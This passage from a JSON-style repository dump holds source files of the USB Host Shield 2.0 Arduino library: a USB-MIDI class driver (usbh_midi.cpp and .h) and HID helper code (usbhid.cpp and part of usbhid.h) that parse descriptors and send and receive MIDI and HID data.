(USB_DEVICE_DESCRIPTOR)];\n        USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast<USB_DEVICE_DESCRIPTOR*>(buf);\n        uint8_t    rcode;\n        UsbDevice  *p = NULL;\n        EpInfo     *oldep_ptr = NULL;\n        uint8_t    num_of_conf;  // number of configurations\n\n        USBTRACE(\"\\rMIDI Init\\r\\n\");\n\n        //for reconnect\n        for(uint8_t i=epDataInIndex; i<=epDataOutIndex; i++) {\n                epInfo[i].epAddr      = (i==epDataInIndex) ? 0x81 : 0x01;\n                epInfo[i].maxPktSize  = 0;\n                epInfo[i].bmSndToggle = 0;\n                epInfo[i].bmRcvToggle = 0;\n        }\n\n        // get memory address of USB device address pool\n        AddressPool &addrPool = pUsb->GetAddressPool();\n\n        // check if address has already been assigned to an instance\n        if (bAddress) {\n                return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE;\n        }\n        // Get pointer to pseudo device with address 0 assigned\n        p = addrPool.GetUsbDevicePtr(bAddress);\n        if (!p) {\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n        }\n        if (!p->epinfo) {\n                return USB_ERROR_EPINFO_IS_NULL;\n        }\n\n        // Save old pointer to EP_RECORD of address 0\n        oldep_ptr = p->epinfo;\n\n        // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence\n        p->epinfo = epInfo;\n        p->lowspeed = lowspeed;\n\n        // Get device descriptor\n        rcode = pUsb->getDevDescr( 0, 0, sizeof(USB_DEVICE_DESCRIPTOR), (uint8_t*)buf );\n        vid = udd->idVendor;\n        pid = udd->idProduct;\n        // Restore p->epinfo\n        p->epinfo = oldep_ptr;\n\n        if( rcode ){\n                goto FailGetDevDescr;\n        }\n\n        // Allocate new address according to device class\n        bAddress = addrPool.AllocAddress(parent, false, port);\n        if (!bAddress) {\n                return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL;\n        }\n\n        // Extract Max Packet Size from device descriptor\n        epInfo[0].maxPktSize = udd->bMaxPacketSize0;\n\n        // Assign new address to the device\n        rcode = pUsb->setAddr( 0, 0, bAddress );\n        if (rcode) {\n                p->lowspeed = false;\n                addrPool.FreeAddress(bAddress);\n                bAddress = 0;\n                return rcode;\n        }//if (rcode...\n        USBTRACE2(\"Addr:\", bAddress);\n\n        p->lowspeed = false;\n\n        //get pointer to assigned address record\n        p = addrPool.GetUsbDevicePtr(bAddress);\n        if (!p) {\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n        }\n        p->lowspeed = lowspeed;\n\n        num_of_conf = udd->bNumConfigurations;\n\n        // Assign epInfo to epinfo pointer\n        rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo);\n        if (rcode) {\n                USBTRACE(\"setEpInfoEntry failed\");\n                goto FailSetDevTblEntry;\n        }\n\n        USBTRACE(\"VID:\"), D_PrintHex(vid, 0x80);\n        USBTRACE(\" PID:\"), D_PrintHex(pid, 0x80);\n        USBTRACE2(\" #Conf:\", num_of_conf);\n\n        //Setup for well known vendor/device specific configuration\n        bTransferTypeMask = bmUSB_TRANSFER_TYPE;\n        setupDeviceSpecific();\n\n        isMidiFound  = false;\n        for (uint8_t i=0; i<num_of_conf; i++) {\n                rcode = parseConfigDescr(bAddress, i);\n                if( rcode )\n                        goto FailGetConfDescr;\n                if (bNumEP > 1)\n                        break;\n        } // for\n\n        USBTRACE2(\"\\r\\nNumEP:\", bNumEP);\n\n        if( bNumEP < 2 ){  //Device not found.\n                rcode = 0xff;\n                goto FailGetConfDescr;\n        }\n\n        if( !isMidiFound ){ //MIDI Device not found. Try last Bulk transfer device\n                USBTRACE(\"MIDI not found. Attempts bulk device\\r\\n\");\n                epInfo[epDataInIndex].epAddr      = epInfo[epDataInIndexVSP].epAddr;\n                epInfo[epDataInIndex].maxPktSize  = epInfo[epDataInIndexVSP].maxPktSize;\n                epInfo[epDataOutIndex].epAddr     = epInfo[epDataOutIndexVSP].epAddr;\n                epInfo[epDataOutIndex].maxPktSize = epInfo[epDataOutIndexVSP].maxPktSize;\n        }\n\n        // Assign epInfo to epinfo pointer\n        rcode = pUsb->setEpInfoEntry(bAddress, 3, epInfo);\n        USBTRACE2(\"Conf:\", bConfNum);\n        USBTRACE2(\"EPin :\", (uint8_t)(epInfo[epDataInIndex].epAddr + 0x80));\n        USBTRACE2(\"EPout:\", epInfo[epDataOutIndex].epAddr);\n\n        // Set Configuration Value\n        rcode = pUsb->setConf(bAddress, 0, bConfNum);\n        if (rcode) {\n                goto FailSetConfDescr;\n        }\n        bPollEnable = true;\n        USBTRACE(\"Init done.\\r\\n\");\n        return 0;\nFailGetDevDescr:\nFailSetDevTblEntry:\nFailGetConfDescr:\nFailSetConfDescr:\n        Release();\n        return rcode;\n}\n\n/* get and parse config descriptor */\nuint8_t USBH_MIDI::parseConfigDescr( uint8_t addr, uint8_t conf )\n{\n        uint8_t buf[ DESC_BUFF_SIZE ];\n        uint8_t* buf_ptr = buf;\n        uint8_t rcode;\n        uint8_t descr_length;\n        uint8_t descr_type;\n        uint16_t total_length;\n        USB_ENDPOINT_DESCRIPTOR *epDesc;\n        bool isMidi = false;\n\n        // get configuration descriptor (get descriptor size only)\n        rcode = pUsb->getConfDescr( addr, 0, 4, conf, buf );\n        if( rcode ){\n                return rcode;\n        }\n        total_length = buf[2] | ((int)buf[3] << 8);\n        if( total_length > DESC_BUFF_SIZE ) {    //check if total length is larger than buffer\n                total_length = DESC_BUFF_SIZE;\n        }\n\n        // get configuration descriptor (all)\n        rcode = pUsb->getConfDescr( addr, 0, total_length, conf, buf ); //get the whole descriptor\n        if( rcode ){\n                return rcode;\n        }\n\n        //parsing descriptors\n        while( buf_ptr < buf + total_length ) {\n                descr_length = *( buf_ptr );\n                descr_type   = *( buf_ptr + 1 );\n                switch( descr_type ) {\n                  case USB_DESCRIPTOR_CONFIGURATION :\n                        bConfNum = buf_ptr[5];\n                        break;\n                  case  USB_DESCRIPTOR_INTERFACE :\n                        USBTRACE(\"\\r\\nConf:\"), D_PrintHex(bConfNum, 0x80);\n                        USBTRACE(\" Int:\"), D_PrintHex(buf_ptr[2], 0x80);\n                        USBTRACE(\" Alt:\"), D_PrintHex(buf_ptr[3], 0x80);\n                        USBTRACE(\" EPs:\"), D_PrintHex(buf_ptr[4], 0x80);\n                        USBTRACE(\" IntCl:\"), D_PrintHex(buf_ptr[5], 0x80);\n                        USBTRACE(\" IntSubCl:\"), D_PrintHex(buf_ptr[6], 0x80);\n                        USBTRACE(\"\\r\\n\");\n\n                        if( buf_ptr[5] == USB_CLASS_AUDIO && buf_ptr[6] == USB_SUBCLASS_MIDISTREAMING ) {  //p[5]; bInterfaceClass = 1(Audio), p[6]; bInterfaceSubClass = 3(MIDI Streaming)\n                                isMidiFound = true; //MIDI device found.\n                                isMidi      = true;\n                                USBTRACE(\"MIDI Device\\r\\n\");\n                        }else{\n                                isMidi = false;\n                                USBTRACE(\"No MIDI Device\\r\\n\");\n                        }\n                        break;\n                  case USB_DESCRIPTOR_ENDPOINT :\n                        epDesc = (USB_ENDPOINT_DESCRIPTOR *)buf_ptr;\n                        USBTRACE(\"-EPAddr:\"), D_PrintHex(epDesc->bEndpointAddress, 0x80);\n                        USBTRACE(\" bmAttr:\"), D_PrintHex(epDesc->bmAttributes, 0x80);\n                        USBTRACE2(\" MaxPktSz:\", (uint8_t)epDesc->wMaxPacketSize);\n                        if ((epDesc->bmAttributes & bTransferTypeMask) == USB_TRANSFER_TYPE_BULK) {//bulk\n                                uint8_t index;\n                                if( isMidi )\n                                        index = ((epDesc->bEndpointAddress & 0x80) == 0x80) ? epDataInIndex : epDataOutIndex;\n                                else\n                                        index = ((epDesc->bEndpointAddress & 0x80) == 0x80) ? epDataInIndexVSP : epDataOutIndexVSP;\n                                epInfo[index].epAddr     = (epDesc->bEndpointAddress & 0x0F);\n                                epInfo[index].maxPktSize = (uint8_t)epDesc->wMaxPacketSize;\n                                bNumEP ++;\n#ifdef DEBUG_USB_HOST\n                                PrintEndpointDescriptor(epDesc);\n#endif\n                        }\n                        break;\n                  default:\n                        break;\n                }//switch( descr_type\n                buf_ptr += descr_length;    //advance buffer pointer\n        }//while( buf_ptr <=...\n        return 0;\n}\n\n/* Performs a cleanup after failed Init() attempt */\nuint8_t USBH_MIDI::Release()\n{\n        pUsb->GetAddressPool().FreeAddress(bAddress);\n        bNumEP       = 1;               //must have to be reset to 1\n        bAddress     = 0;\n        bPollEnable  = false;\n        readPtr      = 0;\n        return 0;\n}\n\n/* Setup for well known vendor/device specific configuration */\nvoid USBH_MIDI::setupDeviceSpecific()\n{\n        // Novation\n        if( vid == 0x1235 ) {\n                // LaunchPad's endpoint attirbute is interrupt (0x20:S, 0x36:Mini, 0x51:Pro, 0x69:MK2, 0x7b:Launchkey25 MK2)\n                if(pid == 0x20 || pid == 0x36 || pid == 0x51 || pid == 0x69 || pid == 0x7b ) {\n                        bTransferTypeMask = 2;\n                }\n        }\n}\n\n/* Receive data from MIDI device */\nuint8_t USBH_MIDI::RecvData(uint16_t *bytes_rcvd, uint8_t *dataptr)\n{\n        *bytes_rcvd = (uint16_t)epInfo[epDataInIndex].maxPktSize;\n        uint8_t  r = pUsb->inTransfer(bAddress, epInfo[epDataInIndex].epAddr, bytes_rcvd, dataptr);\n\n        if( *bytes_rcvd < (MIDI_EVENT_PACKET_SIZE-4)){\n                dataptr[*bytes_rcvd]     = '\\0';\n                dataptr[(*bytes_rcvd)+1] = '\\0';\n        }\n        return r;\n}\n\n/* Receive data from MIDI device */\nuint8_t USBH_MIDI::RecvData(uint8_t *outBuf, bool isRaw)\n{\n        uint8_t rcode = 0;     //return code\n        uint16_t  rcvd;\n\n        if( bPollEnable == false ) return 0;\n\n        //Checking unprocessed message in buffer.\n        if( readPtr != 0 && readPtr < MIDI_EVENT_PACKET_SIZE ){\n                if(recvBuf[readPtr] == 0 && recvBuf[readPtr+1] == 0) {\n                        //no unprocessed message left in the buffer.\n                }else{\n                        goto RecvData_return_from_buffer;\n                }\n        }\n\n        readPtr = 0;\n        rcode = RecvData( &rcvd, recvBuf);\n        if( rcode != 0 ) {\n                return 0;\n        }\n\n        //if all data is zero, no valid data received.\n        if( recvBuf[0] == 0 && recvBuf[1] == 0 && recvBuf[2] == 0 && recvBuf[3] == 0 ) {\n                return 0;\n        }\n\nRecvData_return_from_buffer:\n        uint8_t m;\n        uint8_t cin = recvBuf[readPtr];\n        if( isRaw == true ) {\n                *(outBuf++) = cin;\n        }\n        readPtr++;\n        *(outBuf++) = m = recvBuf[readPtr++];\n        *(outBuf++) =     recvBuf[readPtr++];\n        *(outBuf++) =     recvBuf[readPtr++];\n        return lookupMsgSize(m, cin);\n}\n\n/* Receive raw data from MIDI device */\nuint8_t USBH_MIDI::RecvRawData(uint8_t *outBuf)\n{\n        return RecvData(outBuf, true);\n}\n\n/* Send data to MIDI device */\nuint8_t USBH_MIDI::SendData(uint8_t *dataptr, uint8_t nCable)\n{\n        uint8_t buf[4];\n        uint8_t msg;\n\n        msg = dataptr[0];\n        // SysEx long message ?\n        if( msg == 0xf0 )\n        {\n                return SendSysEx(dataptr, countSysExDataSize(dataptr), nCable);\n        }\n\n        buf[0] = (nCable << 4) | (msg >> 4);\n        if( msg < 0xf0 ) msg = msg & 0xf0;\n\n\n        //Building USB-MIDI Event Packets\n        buf[1] = dataptr[0];\n        buf[2] = dataptr[1];\n        buf[3] = dataptr[2];\n\n        switch(lookupMsgSize(msg)) {\n          //3 bytes message\n          case 3 :\n                if(msg == 0xf2) {//system common message(SPP)\n                        buf[0] = (nCable << 4) | 3;\n                }\n                break;\n\n          //2 bytes message\n          case 2 :\n                if(msg == 0xf1 || msg == 0xf3) {//system common message(MTC/SongSelect)\n                        buf[0] = (nCable << 4) | 2;\n                }\n                buf[3] = 0;\n                break;\n\n          //1 byte message\n          case 1 :\n          default :\n                buf[2] = 0;\n                buf[3] = 0;\n                break;\n        }\n        return pUsb->outTransfer(bAddress, epInfo[epDataOutIndex].epAddr, 4, buf);\n}\n\n#ifdef DEBUG_USB_HOST\nvoid USBH_MIDI::PrintEndpointDescriptor( const USB_ENDPOINT_DESCRIPTOR* ep_ptr )\n{\n        USBTRACE(\"Endpoint descriptor:\\r\\n\");\n        USBTRACE2(\" Length:\\t\", ep_ptr->bLength);\n        USBTRACE2(\" Type:\\t\\t\", ep_ptr->bDescriptorType);\n        USBTRACE2(\" Address:\\t\", ep_ptr->bEndpointAddress);\n        USBTRACE2(\" Attributes:\\t\", ep_ptr->bmAttributes);\n        USBTRACE2(\" MaxPktSize:\\t\", ep_ptr->wMaxPacketSize);\n        USBTRACE2(\" Poll Intrv:\\t\", ep_ptr->bInterval);\n}\n#endif\n\n/* look up a MIDI message size from spec */\n/*Return                                 */\n/*  0 : undefined message                */\n/*  0<: Vaild message size(1-3)          */\nuint8_t USBH_MIDI::lookupMsgSize(uint8_t midiMsg, uint8_t cin)\n{\n        uint8_t msgSize = 0;\n\n        //SysEx message?\n        cin = cin & 0x0f;\n        if( (cin & 0xc) == 4 ) {\n                if( cin == 4 || cin == 7 ) return 3;\n                if( cin == 6 )             return 2;\n                if( cin == 5 )             return 1;\n        }\n\n        if( midiMsg < 0xf0 ) midiMsg &= 0xf0;\n        switch(midiMsg) {\n          //3 bytes messages\n          case 0xf2 : //system common message(SPP)\n          case 0x80 : //Note off\n          case 0x90 : //Note on\n          case 0xa0 : //Poly KeyPress\n          case 0xb0 : //Control Change\n          case 0xe0 : //PitchBend Change\n                msgSize = 3;\n                break;\n\n          //2 bytes messages\n          case 0xf1 : //system common message(MTC)\n          case 0xf3 : //system common message(SongSelect)\n          case 0xc0 : //Program Change\n          case 0xd0 : //Channel Pressure\n                msgSize = 2;\n                break;\n\n          //1 byte messages\n          case 0xf8 : //system realtime message\n          case 0xf9 : //system realtime message\n          case 0xfa : //system realtime message\n          case 0xfb : //system realtime message\n          case 0xfc : //system realtime message\n          case 0xfe : //system realtime message\n          case 0xff : //system realtime message\n                msgSize = 1;\n                break;\n\n          //undefine messages\n          default :\n                break;\n        }\n        return msgSize;\n}\n\n/* SysEx data size counter */\nuint16_t USBH_MIDI::countSysExDataSize(uint8_t *dataptr)\n{\n        uint16_t c = 1;\n\n        if( *dataptr != 0xf0 ){ //not SysEx\n                return 0;\n        }\n\n        //Search terminator(0xf7)\n        while(*dataptr != 0xf7)\n        {\n                dataptr++;\n                c++;\n\n                //Limiter (default: 256 bytes)\n                if(c > MIDI_MAX_SYSEX_SIZE){\n                        c = 0;\n                        break;\n                }\n        }\n        return c;\n}\n\n/* Send SysEx message to MIDI device */\nuint8_t USBH_MIDI::SendSysEx(uint8_t *dataptr, uint16_t datasize, uint8_t nCable)\n{\n        uint8_t buf[MIDI_EVENT_PACKET_SIZE];\n        uint8_t rc = 0;\n        uint16_t n = datasize;\n        uint16_t pktSize = (n*10/3+7)/10*4;   //Calculate total USB MIDI packet size\n        uint8_t wptr = 0;\n        uint8_t maxpkt = epInfo[epDataInIndex].maxPktSize;\n\n        if( maxpkt > MIDI_EVENT_PACKET_SIZE ) maxpkt = MIDI_EVENT_PACKET_SIZE;\n\n        USBTRACE(\"SendSysEx:\\r\\t\");\n        USBTRACE2(\" Length:\\t\", datasize);\n        USBTRACE2(\" Total pktSize:\\t\", pktSize);\n\n        while(n > 0) {\n                //Byte 0\n                buf[wptr] = (nCable << 4) | 0x4;             //x4 SysEx starts or continues\n\n                switch ( n ) {\n                    case 1 :\n                        buf[wptr++] = (nCable << 4) | 0x5;   //x5 SysEx ends with following single byte.\n                        buf[wptr++] = *(dataptr++);\n                        buf[wptr++] = 0x00;\n                        buf[wptr++] = 0x00;\n                        n = n - 1;\n                        break;\n                    case 2 :\n                        buf[wptr++] = (nCable << 4) | 0x6;   //x6 SysEx ends with following two bytes.\n                        buf[wptr++] = *(dataptr++);\n                        buf[wptr++] = *(dataptr++);\n                        buf[wptr++] = 0x00;\n                        n = n - 2;\n                        break;\n                    case 3 :\n                        buf[wptr]   = (nCable << 4) | 0x7;   //x7 SysEx ends with following three bytes.\n                    default :\n                        wptr++;\n                        buf[wptr++] = *(dataptr++);\n                        buf[wptr++] = *(dataptr++);\n                        buf[wptr++] = *(dataptr++);\n                        n = n - 3;\n                        break;\n                }\n\n                if( wptr >= maxpkt || n == 0 ){ //Reach a maxPktSize or data end.\n                        USBTRACE2(\" wptr:\\t\", wptr);\n                        if( (rc = pUsb->outTransfer(bAddress, epInfo[epDataOutIndex].epAddr, wptr, buf)) != 0 ){\n                                break;\n                        }\n                        wptr = 0;  //rewind data pointer\n                }\n        }\n        return(rc);\n}\n\n/* Send raw data to MIDI device */\nuint8_t USBH_MIDI::SendRawData(uint16_t bytes_send, uint8_t *dataptr)\n{\n        return pUsb->outTransfer(bAddress, epInfo[epDataOutIndex].epAddr, bytes_send, dataptr);\n\n}\n\nuint8_t USBH_MIDI::extractSysExData(uint8_t *p, uint8_t *buf)\n{\n        uint8_t rc = 0;\n        uint8_t cin = *(p) & 0x0f;\n\n        //SysEx message?\n        if( (cin & 0xc) != 4 ) return rc;\n\n        switch(cin) {\n            case 4:\n            case 7:\n                *buf++ = *(p+1);\n                *buf++ = *(p+2);\n                *buf++ = *(p+3);\n                rc = 3;\n                break;\n            case 6:\n                *buf++ = *(p+1);\n                *buf++ = *(p+2);\n                rc = 2;\n                break;\n            case 5:\n                *buf++ = *(p+1);\n                rc = 1;\n                break;\n            default:\n                break;\n        }\n        return(rc);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/usbh_midi.h",
    "content": "/*\n *******************************************************************************\n * USB-MIDI class driver for USB Host Shield 2.0 Library\n * Copyright (c) 2012-2018 Yuuichi Akagawa\n *\n * Idea from LPK25 USB-MIDI to Serial MIDI converter\n *   by Collin Cunningham - makezine.com, narbotic.com\n *\n * for use with USB Host Shield 2.0 from Circuitsathome.com\n * https://github.com/felis/USB_Host_Shield_2.0\n *******************************************************************************\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>\n *******************************************************************************\n */\n\n#if !defined(_USBH_MIDI_H_)\n#define _USBH_MIDI_H_\n//#define DEBUG_USB_HOST\n#include \"Usb.h\"\n\n#define MIDI_MAX_ENDPOINTS 5 //endpoint 0, bulk_IN(MIDI), bulk_OUT(MIDI), bulk_IN(VSP), bulk_OUT(VSP)\n#define USB_SUBCLASS_MIDISTREAMING 3\n#define DESC_BUFF_SIZE        256\n#define MIDI_EVENT_PACKET_SIZE 64\n#define MIDI_MAX_SYSEX_SIZE   256\nclass USBH_MIDI;\n\nclass USBH_MIDI : public USBDeviceConfig\n{\nprotected:\n        static const uint8_t    epDataInIndex;          // DataIn endpoint index(MIDI)\n        static const uint8_t    epDataOutIndex;         // DataOUT endpoint index(MIDI)\n        static const uint8_t    epDataInIndexVSP;       // DataIn endpoint index(Vendor Specific Protocl)\n        static const uint8_t    epDataOutIndexVSP;      // DataOUT endpoint index(Vendor Specific Protocl)\n\n        /* mandatory members */\n        USB      *pUsb;\n        uint8_t  bAddress;\n        uint8_t  bConfNum;    // configuration number\n        uint8_t  bNumEP;      // total number of EP in the configuration\n        bool     bPollEnable;\n        bool     isMidiFound;\n        uint16_t pid, vid;    // ProductID, VendorID\n        uint8_t  bTransferTypeMask;\n        /* Endpoint data structure */\n        EpInfo  epInfo[MIDI_MAX_ENDPOINTS];\n        /* MIDI Event packet buffer */\n        uint8_t recvBuf[MIDI_EVENT_PACKET_SIZE];\n        uint8_t readPtr;\n\n        uint8_t parseConfigDescr(uint8_t addr, uint8_t conf);\n        uint16_t countSysExDataSize(uint8_t *dataptr);\n        void setupDeviceSpecific();\n#ifdef DEBUG_USB_HOST\n        void PrintEndpointDescriptor( const USB_ENDPOINT_DESCRIPTOR* ep_ptr );\n#endif\npublic:\n        USBH_MIDI(USB *p);\n        // Misc functions\n        operator bool() { return (pUsb->getUsbTaskState()==USB_STATE_RUNNING); }\n        uint16_t idVendor() { return vid; }\n        uint16_t idProduct() { return pid; }\n        // Methods for recieving and sending data\n        uint8_t RecvData(uint16_t *bytes_rcvd, uint8_t *dataptr);\n        uint8_t RecvData(uint8_t *outBuf, bool isRaw=false);\n        uint8_t RecvRawData(uint8_t *outBuf);\n        uint8_t SendData(uint8_t *dataptr, uint8_t nCable=0);\n        uint8_t lookupMsgSize(uint8_t midiMsg, uint8_t cin=0);\n        uint8_t SendSysEx(uint8_t *dataptr, uint16_t datasize, uint8_t nCable=0);\n        uint8_t extractSysExData(uint8_t *p, uint8_t *buf);\n        uint8_t SendRawData(uint16_t bytes_send, uint8_t *dataptr);\n        // backward compatibility functions\n        inline uint8_t RcvData(uint16_t *bytes_rcvd, uint8_t *dataptr) { return RecvData(bytes_rcvd, dataptr); };\n        inline uint8_t RcvData(uint8_t *outBuf) { return RecvData(outBuf); };\n\n        // USBDeviceConfig implementation\n        virtual uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed);\n        virtual uint8_t Release();\n        virtual uint8_t GetAddress() { return bAddress; };\n};\n#endif //_USBH_MIDI_H_\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/usbhid.cpp",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n\n#include \"usbhid.h\"\n\n//get HID report descriptor\n\n/* WRONG! Endpoint is _ALWAYS_ ZERO for HID! We want the _INTERFACE_ value here!\nuint8_t USBHID::GetReportDescr(uint8_t ep, USBReadParser *parser) {\n        const uint8_t constBufLen = 64;\n        uint8_t buf[constBufLen];\n\n        uint8_t rcode = pUsb->ctrlReq(bAddress, ep, bmREQ_HID_REPORT, USB_REQUEST_GET_DESCRIPTOR, 0x00,\n                HID_DESCRIPTOR_REPORT, 0x0000, 128, constBufLen, buf, (USBReadParser*)parser);\n\n        //return ((rcode != hrSTALL) ? rcode : 0);\n        return rcode;\n}\n */\nuint8_t USBHID::GetReportDescr(uint16_t wIndex, USBReadParser *parser) {\n        const uint8_t constBufLen = 64;\n        uint8_t buf[constBufLen];\n\n        uint8_t rcode = pUsb->ctrlReq(bAddress, 0x00, bmREQ_HID_REPORT, USB_REQUEST_GET_DESCRIPTOR, 0x00,\n                HID_DESCRIPTOR_REPORT, wIndex, 128, constBufLen, buf, (USBReadParser*)parser);\n\n        //return ((rcode != hrSTALL) ? rcode : 0);\n        return rcode;\n}\n\n//uint8_t USBHID::getHidDescr( uint8_t ep, uint16_t nbytes, uint8_t* dataptr )\n//{\n//    return( pUsb->ctrlReq( bAddress, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, 0x00, HID_DESCRIPTOR_HID, 0x0000, nbytes, dataptr ));\n//}\n\nuint8_t USBHID::SetReport(uint8_t ep, uint8_t iface, uint8_t report_type, uint8_t report_id, uint16_t nbytes, uint8_t* dataptr) {\n        return ( pUsb->ctrlReq(bAddress, ep, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, report_id, report_type, iface, nbytes, nbytes, dataptr, NULL));\n}\n\nuint8_t USBHID::GetReport(uint8_t ep, uint8_t iface, uint8_t report_type, uint8_t report_id, uint16_t nbytes, uint8_t* dataptr) {\n        return ( pUsb->ctrlReq(bAddress, ep, bmREQ_HID_IN, HID_REQUEST_GET_REPORT, report_id, report_type, iface, nbytes, nbytes, dataptr, NULL));\n}\n\nuint8_t USBHID::GetIdle(uint8_t iface, uint8_t reportID, uint8_t* dataptr) {\n        return ( pUsb->ctrlReq(bAddress, 0, bmREQ_HID_IN, HID_REQUEST_GET_IDLE, reportID, 0, iface, 0x0001, 0x0001, dataptr, NULL));\n}\n\nuint8_t USBHID::SetIdle(uint8_t iface, uint8_t reportID, uint8_t duration) {\n        return ( pUsb->ctrlReq(bAddress, 0, bmREQ_HID_OUT, HID_REQUEST_SET_IDLE, reportID, duration, iface, 0x0000, 0x0000, NULL, NULL));\n}\n\nuint8_t USBHID::SetProtocol(uint8_t iface, uint8_t protocol) {\n        return ( pUsb->ctrlReq(bAddress, 0, bmREQ_HID_OUT, HID_REQUEST_SET_PROTOCOL, protocol, 0x00, iface, 0x0000, 0x0000, NULL, NULL));\n}\n\nuint8_t USBHID::GetProtocol(uint8_t iface, uint8_t* dataptr) {\n        return ( pUsb->ctrlReq(bAddress, 0, bmREQ_HID_IN, HID_REQUEST_GET_PROTOCOL, 0x00, 0x00, iface, 0x0001, 0x0001, dataptr, NULL));\n}\n\nvoid USBHID::PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr) {\n        Notify(PSTR(\"Endpoint descriptor:\"), 0x80);\n        Notify(PSTR(\"\\r\\nLength:\\t\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bLength, 0x80);\n        Notify(PSTR(\"\\r\\nType:\\t\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bDescriptorType, 0x80);\n        Notify(PSTR(\"\\r\\nAddress:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bEndpointAddress, 0x80);\n        Notify(PSTR(\"\\r\\nAttributes:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bmAttributes, 0x80);\n        Notify(PSTR(\"\\r\\nMaxPktSize:\\t\"), 0x80);\n        D_PrintHex<uint16_t > (ep_ptr->wMaxPacketSize, 0x80);\n        Notify(PSTR(\"\\r\\nPoll Intrv:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bInterval, 0x80);\n}\n\nvoid USBHID::PrintHidDescriptor(const USB_HID_DESCRIPTOR *pDesc) {\n        Notify(PSTR(\"\\r\\n\\r\\nHID Descriptor:\\r\\n\"), 0x80);\n        Notify(PSTR(\"bDescLength:\\t\\t\"), 0x80);\n        D_PrintHex<uint8_t > (pDesc->bLength, 0x80);\n\n        Notify(PSTR(\"\\r\\nbDescriptorType:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (pDesc->bDescriptorType, 0x80);\n\n        Notify(PSTR(\"\\r\\nbcdHID:\\t\\t\\t\"), 0x80);\n        D_PrintHex<uint16_t > (pDesc->bcdHID, 0x80);\n\n        Notify(PSTR(\"\\r\\nbCountryCode:\\t\\t\"), 0x80);\n        D_PrintHex<uint8_t > (pDesc->bCountryCode, 0x80);\n\n        Notify(PSTR(\"\\r\\nbNumDescriptors:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (pDesc->bNumDescriptors, 0x80);\n\n        Notify(PSTR(\"\\r\\nbDescrType:\\t\\t\"), 0x80);\n        D_PrintHex<uint8_t > (pDesc->bDescrType, 0x80);\n\n        Notify(PSTR(\"\\r\\nwDescriptorLength:\\t\"), 0x80);\n        D_PrintHex<uint16_t > (pDesc->wDescriptorLength, 0x80);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/usbhid.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#if !defined(__USBHID_H__)\n#define __USBHID_H__\n\n#include \"Usb.h\"\n#include \"hidusagestr.h\"\n\n#define MAX_REPORT_PARSERS                      2\n#define HID_MAX_HID_CLASS_DESCRIPTORS           5\n\n#define DATA_SIZE_MASK                          0x03\n#define TYPE_MASK                               0x0C\n#define TAG_MASK                                0xF0\n\n#define DATA_SIZE_0                             0x00\n#define DATA_SIZE_1                             0x01\n#define DATA_SIZE_2                             0x02\n#define DATA_SIZE_4                             0x03\n\n#define TYPE_MAIN                               0x00\n#define TYPE_GLOBAL                             0x04\n#define TYPE_LOCAL                              0x08\n\n#define TAG_MAIN_INPUT                          0x80\n#define TAG_MAIN_OUTPUT                         0x90\n#define TAG_MAIN_COLLECTION                     0xA0\n#define TAG_MAIN_FEATURE                        0xB0\n#define TAG_MAIN_ENDCOLLECTION                  0xC0\n\n#define TAG_GLOBAL_USAGEPAGE                    0x00\n#define TAG_GLOBAL_LOGICALMIN                   0x10\n#define TAG_GLOBAL_LOGICALMAX                   0x20\n#define TAG_GLOBAL_PHYSMIN                      0x30\n#define TAG_GLOBAL_PHYSMAX                      0x40\n#define TAG_GLOBAL_UNITEXP                      0x50\n#define TAG_GLOBAL_UNIT                         0x60\n#define TAG_GLOBAL_REPORTSIZE                   0x70\n#define TAG_GLOBAL_REPORTID                     0x80\n#define TAG_GLOBAL_REPORTCOUNT                  0x90\n#define TAG_GLOBAL_PUSH                         0xA0\n#define TAG_GLOBAL_POP                          0xB0\n\n#define TAG_LOCAL_USAGE                         0x00\n#define TAG_LOCAL_USAGEMIN                      0x10\n#define TAG_LOCAL_USAGEMAX                      0x20\n\n/* 